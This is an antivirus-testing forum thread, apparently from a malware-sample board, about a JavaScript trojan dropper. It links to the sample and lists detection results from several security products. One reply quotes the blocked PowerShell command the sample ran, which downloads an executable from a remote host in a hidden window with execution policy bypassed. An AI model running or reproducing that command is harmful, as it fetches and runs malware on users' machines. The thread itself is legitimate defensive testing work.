#TrojanDropper (2020-04-09)

显示全部楼层 · 发表于 2020-4-9 14:44:27

https://www.lanzous.com/ib5aypa

infected

显示全部楼层 · 发表于 2020-4-9 14:49:56

本帖最后由 54ss 于 2020-4-9 15:01 编辑

BEST
实时防护检测到威胁。该文件已被删除。C:\Users\JOJO\Desktop\1.js=>(INFECTED_JS) 是恶意软件 JS:Trojan.Agent.EOEJ

另一个双击

进程 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 被阻止, 由于执行了恶意命令行-executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://scproducts7.ru/availableupdatemanager/poppy.exe','C:\Users\JOJO\AppData\Local\Tempqrv45.exe');

随后报错

显示全部楼层 · 发表于 2020-4-9 14:51:10

Avast
1.js Other:Malware-gen [Trj]

显示全部楼层 · 发表于 2020-4-9 14:51:22

小东西OSA 拦截

Avira miss

显示全部楼层 · 发表于 2020-4-9 14:56:13

eset kill 1x 其余双击报错

时间;扫描程序;对象类型;对象;检测;操作;用户;信息;哈希;此处首次所见
2020/4/9 14:53:48;文件系统实时防护;文件;C:\Users\msi\Desktop\新建文件夹 (2)\#TrojanDropper (2020-04-09)\1.js;JS/TrojanDownloader.Agent.UTG 特洛伊木马;通过删除清除;WIN-4SSFNNEKC21\msi;在应用程序新建的文件上发生事件: C:\Users\msi\Desktop\WinRAR\WinRAR.exe (290ABA06C7C55B56D4611A17F5B8063DA4DBFB17).;69FC55CC699ED15A0FE4BD321BB978CD3FF76878;2020/4/9 14:53:46

复制代码

显示全部楼层 · 发表于 2020-4-9 15:33:47

卡巴

[病毒样本] #TrojanDropper (2020-04-09)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源